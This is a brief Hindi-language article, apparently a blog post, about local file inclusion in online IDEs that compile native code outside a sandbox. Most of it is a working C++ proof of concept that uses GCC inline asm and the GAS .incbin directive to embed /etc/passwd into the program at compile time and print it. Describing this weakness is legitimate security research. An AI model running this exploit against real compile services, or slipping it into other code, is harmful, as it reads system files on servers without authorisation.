ऑनलाइन आईडीई और स्थानीय फ़ाइल समावेशन

हाल ही में, बहुत से ऑनलाइन आईडीई देशी अनुप्रयोगों को संकलित करने और चलाने की क्षमता के साथ दिखाई दिए हैं । स्वाभाविक रूप से, ऐसी सेवाओं की सुरक्षा के बारे में सवाल उठता है। संकलित कार्यक्रम सैंडबॉक्स में चलते हैं, लेकिन संकलन अक्सर असुरक्षित वातावरण में होता है।

जीसीसी + जीएएस

GCC, GAS को कॉल करने के लिए asm निर्देश का उपयोग करने की अनुमति देता है, जिसमें एक अद्भुत incbin । इसकी मदद से, संकलन चरण में, आप फ़ाइल को डेटा के रूप में शामिल कर सकते हैं। फिर सी ++ के लिए शोषण निम्नानुसार है:

 #include <stdio.h> extern "C" asm( ".global _data\n" ".data\n" "_data:\n" ".incbin \"/etc/passwd\"\n" ".byte 0" ); extern const char _data; const char* data = &_data; int main() { printf("%s", data); }